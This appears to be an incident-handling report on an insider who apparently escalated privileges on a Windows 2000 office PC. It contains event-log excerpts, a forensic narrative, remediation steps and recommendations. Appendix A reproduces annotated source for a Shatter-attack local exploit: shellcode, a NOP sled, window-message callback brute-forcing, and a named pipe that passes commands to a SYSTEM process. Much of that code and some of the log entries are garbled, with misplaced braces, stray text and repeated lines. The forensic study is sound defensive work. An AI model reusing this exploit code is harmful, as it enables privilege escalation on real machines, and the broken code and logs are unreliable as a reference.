<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
<tr>
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<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>560</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
<tr>
<td>Success Audit</td>
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<td>12:03:40 PM</td>
<td>Security</td>
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</tr>
<tr>
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<tr>
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<tr>
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<td>Security</td>
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<td>Security</td>
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</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
<tr>
<td>Success Audit</td>
<td>2/5/2004</td>
<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
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<td>12:03:40 PM</td>
<td>Security</td>
<td>Object Access</td>
<td>562</td>
</tr>
</tbody>
</table>
Hmmm... wasn't GUEST supposed to be logged on at this time (during lunch?)
What is all this privileged use and object access by SYSTEM during that time?

Further investigation into the event log found the following details associated with the events. This is done by opening the Event log in the windows and double-clicking on each event in order:

Event Type: Failure Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:02:38 PM
User: INS-7500\Guest
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected
New Handle ID: -
Operation ID: {0,313845}
Process ID: 1040
Primary User Name: Guest
Primary Domain: INS-7500
Primary Logon ID: (0x0,0x41DC8)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses READ_CONTROL
Synchronize
ReadData (or ListDirectory)
ReadEA
ReadAttributes

Privileges -

Event Type: Failure Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:02:39 PM
User: INS-7500\Guest
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected
New Handle ID: -
Operation ID: {0,314497}
Process ID: 1040
Primary User Name: Guest
Primary Domain: INS-7500
Primary Logon ID: (0x0,0x41DC8)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses Synchronize
   ReadData (or ListDirectory)

Privileges -

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:18 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected
New Handle ID: 24
Operation ID: {0,316558}
Process ID: 284
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses Synchronize
   Execute/Traverse

Privileges -

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:37 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected
New Handle ID: 96
Operation ID: {0,316811}
Process ID: 284
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses Synchronize
   ReadData (or ListDirectory)
### Privileges

**Event Type:** Success Audit  
**Event Source:** Security  
**Event Category:** Object Access  
**Event ID:** 562  
**Date:** 2/5/2004  
**Time:** 12:03:37 PM  
**User:** NT AUTHORITY\SYSTEM  
**Computer:** INS-7500

**Description:**  
Handle Closed:  
- **Object Server:** Security  
- **Handle ID:** 96  
- **Process ID:** 284

**Event Type:** Success Audit  
**Event Source:** Security  
**Event Category:** Object Access  
**Event ID:** 560  
**Date:** 2/5/2004  
**Time:** 12:03:37 PM  
**User:** NT AUTHORITY\SYSTEM  
**Computer:** INS-7500

**Description:**  
Object Open:  
- **Object Server:** Security  
- **Object Type:** File  
- **Object Name:** C:\Protected  
- **New Handle ID:** 96  
- **Operation ID:** {0,316812}  
- **Process ID:** 284  
- **Primary User Name:** INS-7500$  
- **Primary Domain:** WORKGROUP  
- **Primary Logon ID:** (0x0,0x3E7)  
- **Client User Name:** -  
- **Client Domain:** -  
- **Client Logon ID:** -  
- **Accesses:** SYNCHRONIZE, ReadData (or ListDirectory)

**Privileges** -

**Event Type:** Success Audit  
**Event Source:** Security  
**Event Category:** Object Access  
**Event ID:** 562  
**Date:** 2/5/2004  
**Time:** 12:03:37 PM  
**User:** NT AUTHORITY\SYSTEM  
**Computer:** INS-7500

**Description:**  
Handle Closed:  
- **Object Server:** Security  
- **Handle ID:** 24  
- **Process ID:** 336

**Event Type:** Success Audit  
**Event Source:** Security  
**Event Category:** Object Access  
**Event ID:** 560  
**Date:** 2/5/2004  
**Time:** 12:03:37 PM  
**User:** NT AUTHORITY\SYSTEM  
**Computer:** INS-7500

**Description:** -
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected
New Handle ID: 24
Operation ID: {0,316841}
Process ID: 336
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses SYNCHRONIZE
    Execute/Traverse

Privileges -

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:37 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected
New Handle ID: 92
Operation ID: {0,316970}
Process ID: 336
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses SYNCHRONIZE
    ReadData (or ListDirectory)

Privileges -

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:39 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected\April.xls
New Handle ID: 308
Operation ID: {0,317001}
Process ID: 584
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses READ_CONTROL
    SYNCHRONIZE
ReadData (or ListDirectory)
ReadAttributes

Privileges SeBackupPrivilege

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:39 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected\april.xls
New Handle ID: 308
Operation ID: {0,317001}
Process ID: 584
Primary User Name: INS-7500S
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses
READ_CONTROL
SYNCHRONIZE
ReadData (or ListDirectory)
ReadAttributes

Privileges SeBackupPrivilege

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:39 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
Object Server: Security
Object Type: File
Object Name: C:\Protected\april.xls
New Handle ID: 308
Operation ID: {0,317002}
Process ID: 584
Primary User Name: INS-7500S
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses
READ_CONTROL
SYNCHRONIZE
ReadData (or ListDirectory)
ReadAttributes

Privileges SeBackupPrivilege

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:39 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
  Object Server: Security
  Object Type: File
  Object Name: C:\Protected\april.xls
  New Handle ID: 308
  Operation ID: {0,317003}
  Process ID: 584
  Primary User Name: INS-7500$
  Primary Domain: WORKGROUP
  Primary Logon ID: (0x0,0x3E7)
  Client User Name: -
  Client Domain: -
  Client Logon ID: -
  Accesses: READ_CONTROL
            SYNCHRONIZE
            ReadData (or ListDirectory)
            ReadAttributes

Privileges: SeBackupPrivilege

Event Type: Success Audit
Event Source: Security
Event Category: Object Access
Event ID: 560
Date: 2/5/2004
Time: 12:03:39 PM
User: NT AUTHORITY\SYSTEM
Computer: INS-7500
Description:
Object Open:
  Object Server: Security
  Object Type: File
  Object Name: C:\Protected\april.xls
  New Handle ID: 308
  Operation ID: {0,317004}
  Process ID: 584
  Primary User Name: INS-7500$
  Primary Domain: WORKGROUP
  Primary Logon ID: (0x0,0x3E7)
  Client User Name: -
  Client Domain: -
  Client Logon ID: -
  Accesses: DELETE
            READ_CONTROL
            SYNCHRONIZE
            ReadData (or ListDirectory)
            WriteData (or AddFile)
            ReadAttributes
            WriteAttributes

Privileges: SeBackupPrivilege
            SeRestorePrivilege
Object Name: C:\Protected\april.xls
New Handle ID: 88
Operation ID: (0,316992)
Process ID: 336
Primary User Name: INS-7500$
Primary Domain: WORKGROUP
Primary Logon ID: (0x0,0x3E7)
Client User Name: -
Client Domain: -
Client Logon ID: -
Accesses
READ_CONTROL
SYNCHRONIZE
ReadData (or ListDirectory)
ReadEA
ReadAttributes

Privileges
-

These events that appear for april.xls appear for all of the files and subfiles in the protected directory.

The interesting events end with the following.
It seems we may have found the point of access. If we follow events in order, we can see that the suspect first tried to access files that she was not authorized to view. This was followed rapidly by access to the same protected file structure by a privileged user that included reading, directory traversal and writing the files elsewhere. In trying to discover the means of attack, I log in as the “Guest” account to the machine and click on the “drop box” for the run command:

![Run dialog box](image)

This will give me a list of anything that was attempted to be run through this system function. The only thing that appears is cmd.exe. There is no reason the guest account would be running this function.

All of this information is saved to a file, and copied off and stored in a firesafe with the notation of when the information was gathered, who gathered it, and who transported it to the firesafe. The same information is also recorded in the notebook. That means that is time to try to figure out how the penetration was executed. What else can we find? A search of the hard drive against the last GASP report of executables and installed software does not reveal anything new residing on the hard drive.

A meeting of the Admin Assistant, CEO, Network Administrator and Incident Handler is held to discuss the Insider Threat. Because of the probability of an “inside job”, proper handling of the logs and the evidence becomes more important when we remember that “evidence” can be used as defense as well as prosecution. While the CEO may not want to press criminal charges, all of the data collected here may be used as defensive evidence if the employee pursues “wrongful termination” or other personnel-related lawsuits. The CEO is advised to seek advice from legal counsel on what additional materials may be required in personnel-related matters.

The logs don't tell us much, how can we avoid the problem from happening again?

**Phase 4: Eradication**

In this phase, cause and symptoms are determined to decide the best way to ensure the ongoing confidentiality, integrity, and availability of the company’s data. Because the data confidentiality has already been compromised, action needs to be taken immediately to ensure that similar reveals cannot happen again.
What we have discovered during the last two phases is that some sort of privilege escalation must have occurred. Things were being done on the system during the time the GUEST user was logged on that should not have been accessible. Although the logs show access to the Protected files, it is unclear what else may have fallen victim to the attack. There is no guarantee that this privilege elevation did not result in the planting of malicious code like a trojan or backdoor.

Because the Receptionist is the likely suspect, her badge access is revoked and she will have to ring the bell for access on Monday morning. She will then be escorted to the CEO’s office, where she will be interviewed to get her version of what occurred. What, where, when, why and how will all be addressed at that time. How long has this access been happening? Our logs rotated frequently, so building a history without input from the suspect is not possible, and assessing the damage is also difficult without knowing the “what and why”.

**What do we do with the victim system?**

Discussion ensues with the CEO, Admin Assistant, and Network Administrator. The Admin Assistant assures me that her critical data has been backed up and anything remaining on the drive is not necessary. The decision is made to rebuild the system from scratch, to ensure the ongoing functionality and eliminate the possibility of further damage to the system by a planted malicious code or other undetected fragment.

**Upgrading Security of the Systems**

**Standard Defense Improvements**

Standard Best Operating Practices are done on all systems at this time. This means that each system has to be powered on and evaluated, to ensure that a similar compromise cannot be repeated at another station. The following steps are taken immediately:

- All of the Operating Systems are patched to the current patch level
- The AV signatures are all updated, and a more current version of the software is recommended
- A vulnerability analysis is performed: Nmap is used to list interesting ports, and N-Stealth Security Scanner. One machine with unauthorized IIS services is found to be running, these services are removed from the machine.
- Every password is changed, and password enforcement is set so that passwords must be 6 characters and changed every 30 days on all accounts, except “Guest” accounts. “Guest” accounts are not permitted to change their own passwords
- Password protected screen locks are put on all systems: system will lock after 10 minutes of idle time
- All unnecessary services are disabled on the desktops
• All administrator and guest accounts are renamed, removed, or disabled. User accounts are removed from “Administrator” grouping so that administrative duties would require a separate logon.
• All Administrative tools and utilities are locked down so that only the administrator account can access them.
• A new GASP cycle is started and new software inventories are conducted on each machine, and compared against the reports from last cycle for any unexpected discrepancies.
• Current patches are applied to the firewall router device, and an evaluation of the current ruleset in place at the firewall is made.
• Because the office is not overly large, the CEO insists that Dameware Mini-RemoteControl be removed from all systems. The Network Admin should visit each machine to apply patches, giving him an opportunity to survey the scene for unusual activity or other information that may not appear on a remote desktop.
• More recommendations are made to improve security based in the Recovery section.
• The Backup Schedule is revised so that backups are taken nightly. Since the critical applications (the financial one) reside on the server, this is an appropriate measure. A new tape will be backed up Monday – Friday and an off-site backup will be taken on Saturday. Each backup will represent a full backup, no incremental backups will be taken. One Daily tape will be rotated out each month as a weekly backup, to minimize wear and tear on the tapes.
• Windows Logs are put on “do not overwrite” and a task scheduler is set to place the critical logs on the server and then clear the logs. Auditing at individual workstations are setup for failure and success on critical points. Tools for reading and processing Windows event logs will be investigated.
• Clocks on all systems are synchronized to ensure logging is consistent for activity throughout the enterprise.

**Phase 5: Recovery**

The recovery phase is when all systems are put back into service and tested. Additional steps are usually taken during this phase to ensure system security for the future.

Systems are returned to functioning roles, including the router/firewall. Some discussion takes place as to whether this is wise: if a fragment for continued access has been planted, then the inability to access it will tip the Receptionist that her work has been discovered. The CEO accepts that risk, but contracts an armed guard to patrol the building for the remainder of the weekend, in order to prevent the suspect from performing further damage from company grounds. Outgoing Internet connections are established and checked to ensure all is functioning as expected.

The Admin Assistant calls the Payroll provider 24-hour hotline to run test runs and ensure that her applications on the rebuilt system are working as expected. Both the
CEO and Network Admin go to each station to check the functionality of the programs and ensure that everything is fully operational. A question remains regarding the banking software in the CFOs office: this will be tested Monday morning to ensure that it has not lost any functionality.

The CEO decides that with the exception of the Receptionist, the rest of the office should be business as usual on Monday morning. It is recommended he consult with counsel, and if necessary have them present Monday morning. The Network Administrator agrees to be on call to present findings to the counsel prior to Monday if it is warranted.

Because the security is not adequate on the system, the following recommendations are made:

- Train the Network Administrator on Windows Security. The SANS Securing Windows course is recommended. Prior to the course, the SANS Securing Windows 2000 Step by Step Guide should be read and appropriate first measures should be taken for locking down the system.
- An Intrusion Detection System is recommended. Because budget is an issue, and it is a quality system, Snort is recommended for implementation.
- An employee education program is in order – since all the employees knew of this incident, a briefing and orientation to computer security is a logical requirement at this time.
- A legal review of policies and procedures currently in place should be contracted.
- The GASP inventory should be implemented more frequently.
- Background checks on all employees are recommended, and this will become a policy to perform these prior to new hires.
- A schedule for monitoring for patches, hotfixes, and service packs that are available is recommended.
- The evaluation of the “IT Consulting Service” agreement and contract is recommended. Either training someone to assist the Network Admin, hiring a relief, or outsourcing security issues is recommended.
- Research whether the current AV solution continues to be appropriate for the company. Check posted vulnerabilities against the product and make a proposal either to upgrade to the current release or switch vendors, if that is appropriate. CEO guarantees funding for this project.
- Revisit how banners are being supplied: check with counsel to make sure they meet current needs, if possible eliminate batch file executions on startup for a solution more integrated with Win2K.

**Phase 6: Lessons Learned**

This is the phase in which the Incident Handling process is discussed, and the learning experiences uncovered during the situation can be evaluated and, if necessary, put into practice.
A follow-up report is drafted by the Incident Handler and the Network Administrator. This report incorporates the notes in the notebooks and the notes on the tape recorder to capture all activities and observations that occurred. The meeting is scheduled for Monday afternoon, so that the interview with the suspect and resulting answers can be included in the report. Because it is now pretty late on Saturday, everyone is assigned to go home and rest.

Among the things noted in the report are all the notations made in boxes, this will help legal counsel follow the chain of events from the time the incident handling scenario began.

The recommendations in the previous sections are included in the report to ensure that they are budgeted and easily followed up.

Since there was no Incident Handling Procedure in place, it is hard to evaluate the process against other Incidents. However, budgets are made to improve the processes and the technology. For the processes, training is planned and policy evaluations are made. An Incident Response form is designed, and the CEO has asked the Network Admin and Administrative Assistant to put in place a response plan for incidents. On the technology side, upgrades to several systems are planned, earlier than the 5 year cycle originally budgeted. A meeting is scheduled with the ISP to discuss whether the current infrastructure meets the growing needs, and a new connection to the Internet is being evaluated. With that connection, appropriate technology: new firewall/router/IDS will also be evaluated.

Conclusions

Not all threats to information security come from the outside world, nor do they require the expertise of a “hacker” to perform. The exploit outlined here can easily be performed by anyone with a CD and 5 minutes of access to your system. Even within the smallest organization, security issues will arise, and having the means to deal with them is something that they must ensure in order to meet the criteria of “standard business practice.” Proper techniques to deal with security for a small organization do not have to be expensive – but they do have to be done!

The insider threat is something that often cannot be detected through perimeter protection measures. Once a bad guy” has access to the system, that is a problem. The problem is that more and more companies are reporting that the “bad guy” has had access to the system all along. Effective pre-employment screening, maintaining employee morale, and maintaining communication and training with employees may be the only means of defense against the insider threat.

The Shatter attack is just one way of performing privilege escalation. Without additional information, it is hard to say whether this is actually the method used during the actual
attack. For an insider threat incident, the post-evaluation with the suspect becomes critical. This will help gage the “How, why, where and when” that can only be left to speculation otherwise. Of course, take this information with a grain of salt – because who knows if this employee that has compromised the systems will pick this point in time to be honest and ethical.

Remember that evidence gathering does not only protect the possibility of prosecution should you wish to press criminal or civil charges, but it could protect the company from employee lawsuits in the event of an insider threat. Following general chain of evidence guidelines and documenting every step is critical to a successful handling of an incident.

Finally, maintaining the information on patches and vulnerabilities within the systems of an organization and staying abreast of the latest threats is critical to securing an organization of any size. This means not only protecting against whatever the latest virus is that media is touting, but understanding the vulnerabilities that may exist in the underlying infrastructure of the systems that you have chosen to build your organization’s future upon.
Appendix A: Code Decoded

My section headers are contained within boxes
Coder's comments are contained after // comment markers.

Code includes (Pragmas)

#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>

Step 5a:
Create basic shell code

char BasicShellcode[] = "\xeb\xc3\x5b\xb9\x00\x00\x00\x00\xff\xd1\xc9\xb1\x0c\x43\xe2\xfd\x53\x50"
"\xb9\x00\x00\x00\x00\xff\xd1\xc9\xb1\x0c\x43\xe2\xfd\x53\x50"
"\x51\x51\xb1\x0e\x43\xe2\xfd\x53\x89\xe3\xb1\x10\x43\xe2\xfd\x53\x51\xff\xfd\x53"
"\x58\xc3\xe8\xbf\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\x58\x65\xc4\xe5\x00\x53"
"\x68\x65\xc4\xe5\x00\x53"

#define ShellcodeLen 93 // Have to #define this since we can't do
// strlen(BasicShellcode) - it contains null bytes.

static BOOL CommandSent = 0; // Set by the named pipe thread so we know to stop bruteforcing
static BOOL ThreadMode = 0;  // Set if we're posting to threads instead of windows.
static BOOL UseMBox = 0;     // Set if we're injecting shellcode through a message box.
static int Verbosity = 0;    // 0 == quiet, 1 == verbose, 2 == very verbose.
char *FullShellcode;         // Pointer to the fully-formatted shellcode once generated.

Step 5b:
Allocate memory

// Format the raw shellcode into a full sploit
void MakeSploit(char *ProgName)
{
    DWORD GPA,LL;
    char *Sploit = malloc(500000);

Step 5c:
Obtain the address of the function in the DLL so that it may be called by
address instead of name, then obtain the windows handle of the DLL which is a required parameter to call the function. Add these addresses to the basic shell code in the "null value" fields.

//Add the addresses of GetProcAddress and LoadLibrary into the shellcode.
//We do it this way to avoid having to figure them out - after all, this is a local sploit...
GPA = (DWORD)&GetProcAddress;
LL = (DWORD)&LoadLibraryA;
memcpy(BasicShellcode + 5, &LL, 4);
memcpy(BasicShellcode + 21, &GPA, 4);

Step 5d:
500000 NOP block created

//Half a meg of NOPs. Window captions - MMMmmmmmm.....
memset(Sploit, 0x90, 500000);

Step 5e:
Debug tag : FOON

//Copy in the shellcode.
//Stick a FOON tag at the beginning of the NOP block so we can find it with a debugger if we need to.
*(Sploit + 499999 - strlen(ProgName) - ShellcodeLen) = 0;
*Sploit = 'F';
*(Sploit + 1) = 'O';
*(Sploit + 2) = 'O';
*(Sploit + 3) = 'N';

Step 5f:
Load into memory 499998 minus shellcode (93) minus program name (cmd.exe) +1 which will equal half a meg. – This is where we build the exploit code that will be executed!

//And copy in the sploit at the end.
memcpy((Sploit + 499998 - strlen(ProgName) - ShellcodeLen), BasicShellcode, ShellcodeLen);
memcpy((Sploit + 499998 - strlen(ProgName)), ProgName, strlen(ProgName)+1);

FullShellcode = Sploit;
}

Step 8:
Function to send to a thread (if you are attacking threads)

// Send shellcode to a thread
void SendShellcodeT(DWORD ThreadID)
{ DWORD Callback;
for (Callback = 0x300000; Callback < 0x800000; Callback += 450000)
{
    if (CommandSent) return;
    if (Verbosity == 2)
        printf("Sending callback, thread 0x%x, address 0x%x\n", ThreadID, Callback);
    if (PostThreadMessage(ThreadID, WM_TIMER, 999, Callback))
        Sleep(100);
}
}

Step 8:
Function to send to a window (if you are attacking Windows)

// Send shellcode to a window
void SendShellcodeW(HWND Window)
{
    DWORD Callback;
    if (!UseMBox)
    {
        if (!SendMessageW(Window, WM_SETTEXT, 0, (DWORD)FullShellcode))
        {
            printf("WM_SETTEXT failed, window %x\n", Window);
            return;
        }
    }
}

Step 7-9:
Callback instructions being sent. These instructions are stepping through memory address between 0x300000 and 0x800000, in steps of 450000 (note switch from hex to decimal) send callbacks. If it hits our NOP code, then the hack will be successful!

for (Callback = 0x300000; Callback < 0x800000; Callback += 450000)
{
    if (CommandSent) return;
    if (Verbosity == 2)
        printf("Sending callback, window 0x%x, address 0x%x\n", Window, Callback);
    if (PostMessageW(Window, WM_TIMER, 999, Callback))
        Sleep(100);
}

// Callback function for EnumThreadWindows
BOOL CALLBACK ThreadWndCallback(HWND Handle, LPARAM EnumerateOnly)
{
    if (CommandSent) return FALSE;
    if (EnumerateOnly)
    {
        char *Caption = (char *)malloc(1024);
        GetWindowText(Handle, Caption, 1024);
        printf(" Window found, handle %x, title %s\n", Handle, Caption);
    }
}
free(Caption);
  
else
  SendShellcodeW(Handle);
  return TRUE;
}

// Thread to fire a message box.
// Probably possible to not block the thread with a MB_flag, but this is
easier than trawling MSDN..
DWORD WINAPI MBProc(LPVOID Param)
{
  MessageBox(0,0,"SMASH ME BABY!",MB_OK);
  return 0;
}

// Thread function to open and handle the named pipe. Returns 0 on no
error.
DWORD WINAPI PipeProc(LPVOID Param)
{
  DWORD BytesSent;
  HANDLE PipeHandle;

  PipeHandle =
  CreateNamedPipe("\\\.\pipe\shatter",PIPE_ACCESS_DUPLEX,PIPE_TYPE_MESSAGE|PIPE_READMODE_MESSAGE|PIPE_WAIT,2,1024,1024,0,NULL);

  if (PipeHandle == INVALID_HANDLE_VALUE)
  {
    DWORD BytesWritten;
    HANDLE ParmFile;

    //Named pipe creation failed. Trying another mechanism - named
    file.
    printf("Unable to create named pipe!\n");
    printf("Falling back to named file...\n");
    ParmFile =
    CreateFile("c:\smashing.txt",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    if (ParmFile == INVALID_HANDLE_VALUE)
    {
      printf("ERROR: File creation failed - Smashing cannot
      continue!\n");
      CommandSent = TRUE;
      return 1;
    }

    WriteFile(ParmFile,Param,strlen(Param),&BytesWritten,0);
    if (BytesWritten != strlen(Param))
    {
      printf("ERROR: Unable to write out parameters!\n");
      return 1;
    }

    CloseHandle(ParmFile);
    return 0;
  }
// Wait for a connection. ConnectNamedPipe() blocks until a connection is received.
ConnectNamedPipe(PipeHandle, NULL);
if (WriteFile(PipeHandle, Param, strlen(Param), &BytesSent, NULL)) {
    printf("Command sent...\n", Param);
} else
    printf("Error %d sending to pipe\n", GetLastError());
FlushFileBuffers(PipeHandle);
CommandSent = TRUE;
return 0;

// Run whatever attack we're using against a specific PID.
void HackProcess(DWORD PID, BOOL EnumerateOnly) {
    HANDLE Snapshot;
    THREADENTRY32 ThreadEntry;
    BOOL WindowsFound = FALSE;
    int Threads = 0;

    if (CommandSent) return;
    if (Verbosity)
        printf("Attacking PID %d...\n", PID);

    // Enumerate threads using ToolHelp. Create a ToolHelp snapshot
    Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (Snapshot == (HANDLE)-1)
        {
            printf("Thread Snapshot failed!\n");
            return;
        }

    ThreadEntry.dwSize = sizeof(THREADENTRY32);

    // Iterate through the threads listed in the snapshot and check if they're owned by our target PID
    if (Thread32First(Snapshot, &ThreadEntry))
        {
            do
            {
                if (CommandSent) return;
                if (ThreadEntry.th32OwnerProcessID == PID)
                    {
                        // We've found a thread for our target PID
                        if (EnumerateOnly)
                            printf("Thread found, PID %d, Thread %d\n", PID, ThreadEntry.th32ThreadID);
                        Threads++;
                    }
if (ThreadMode)
{
    // We've got to post WM_TIMER's to a thread.
    Check it works...
    if (PostThreadMessage(ThreadEntry.th32ThreadID, WM_TIMER, 0, 0x0))
    {
        if (!EnumerateOnly)
            SendShellcodeT(ThreadEntry.th32ThreadID);
        else if (Verbosity == 2)
        {
            printf("PostThreadMessage (WM_TIMER) failed, thread 0x%x\n", ThreadEntry.th32ThreadID);
        }
    }
    else
    {
        // We're attacking window handles. Enumerate them.
        EnumThreadWindows(ThreadEntry.th32ThreadID, &ThreadWndCallback, Enumerate Only);
                    WindowsFound = TRUE;
    }
    while (Thread32Next(Snapshot, &ThreadEntry));
}
if (Verbosity)
{
    if (!WindowsFound && !ThreadMode)
        printf("No windows (%d threads) found!\n", Threads);
    if (ThreadMode)
        printf("%d threads found and attempted, PID %d\n", Threads, PID);
}
CloseHandle (Snapshot);

// Callback function for EnumWindows().
// Only used when /w switch is specified.
BOOL CALLBACK EnumWndCallback(HWND Window, LPARAM ProgName)
{
    if (ProgName == 1)
    {
        // We're enumerating only. Dump out the window details
        char *Caption = (char *)malloc(1024);
        GetWindowText(Window, Caption, 1024);
        printf("Window found, handle %x, title %s\n", Window, Caption);
        free(Caption);
        return TRUE;
    }
    if (!CommandSent)
        SendShellcodeW(Window);
return TRUE;
}

void main (int argc, char *argv[])
{
    char User[128];
    DWORD Mode = PIPE_READMODE_MESSAGE;
    DWORD Length = 128;
    HANDLE PipeHandle;

    Step 3:
    Smashing first determines the username and what privileges it currently has.

    GetUserName(&User[0],&Length);
    // If we have LocalSystem, there’s two options. Either we’re the result of a successful exploit,
    // or someone wants to do some enumeration as LocalSystem (different desktop maybe?).
    // If we’ve been renamed to smashenum.exe, assume we’re just enumerating.
    if (!stricmp(User,"SYSTEM") && !strstr(argv[0],"smashenum"))
    {
        // We have LocalSystem. Read parameters from named pipe.
        BOOL Pipe = TRUE; // Are we actually reading from a pipe? Set to false if we’ve failed over to a file.
        DWORD BytesRead;
        char *Buffer = malloc(1024);
        BOOL Interactive = FALSE; // Do we want to force winsta0\default?
        char *Parms = malloc(1024);
        STARTUPINFO SInfo;
        PROCESS_INFORMATION PInfo;

        Step 4:
        See if pipe is open, and can the program “smashing” communicate with it?

        // Try to connect to the pipe.
        PipeHandle = CreateFile("\\.\pipe\shatter",GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
        if (PipeHandle == INVALID_HANDLE_VALUE)
        {
            // Named pipe has failed. Try to read parameters from a file.
            Pipe = FALSE;
            printf("Unable to create named pipe!\n");
            PipeHandle = CreateFile("c:\smashing.txt",GENERIC_READ,0,0,OPEN_EXISTING,0,0);
            if (PipeHandle == INVALID_HANDLE_VALUE)
            {

```
printf("ERROR: Unable to open parameter file, error %d!\n", GetLastError());
// If we've got an error, don't return. We want to be able to read the error message...!
}
else {
    if (!SetNamedPipeHandleState(PipeHandle,&Mode,NULL,NULL))
    {
        printf("Error %d setting pipe state\n",GetLastError());
        // If we've got an error, don't return. We want to be able to read the error message...!
    }
}

// Fortunately, a pipe handle is a file handle, so use the same functions to read from it.
if (ReadFile(PipeHandle,Buffer,1024,&BytesRead,NULL))
{
    *(Buffer+BytesRead) = 0;
}
else {
    if (Pipe)
        printf("Error %d reading from pipe!\n",GetLastError());
    else
        printf("Error %d reading from file!\n",GetLastError());
}
CloseHandle(PipeHandle);
if (!Pipe)
    DeleteFile("c:\smashing.txt");

//Parameters are all now stored in Buffer. Check if \i was specified.
if (strstr(Buffer,"\n"))
    Interactive = TRUE;

//All good. Create the process.
SInfo.cb = sizeof(STARTUPINFO);
SInfo.lpReserved = 0;
if (Interactive)
{
    SInfo.lpDesktop = strstr(Buffer,"\n") + 1;
    *strstr(Buffer,"\n") = 0;
}
else
    SInfo.lpDesktop = NULL;
SInfo.lpTitle = 0;
SInfo.dwFlags = 0;
SInfo.cbReserved2 = 0;
SInfo.lpReserved2 = 0;

if (!CreateProcess(0, Buffer, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &SInfo, &PInfo))
{
    printf("CreateProcess failed, error %d", GetLastError());
}
else

Step 11: Open Smashing pipe
{
    // Low privs so far. Hack stuff :)
    BOOL Interactive = 0;
    BOOL Bruteforce = 0;
    BOOL WindowEnum = 0;
    char *Buffer = malloc(1024);
    char CurrentProcess[256];
    DWORD *PIDs = malloc(4000);
    DWORD Returned;
    DWORD TargetPID = 0;
    DWORD ThreadID;
    HANDLE ThreadHandle;
    int PIDsHacked = 0;
    BOOL EnumerateOnly = 0;

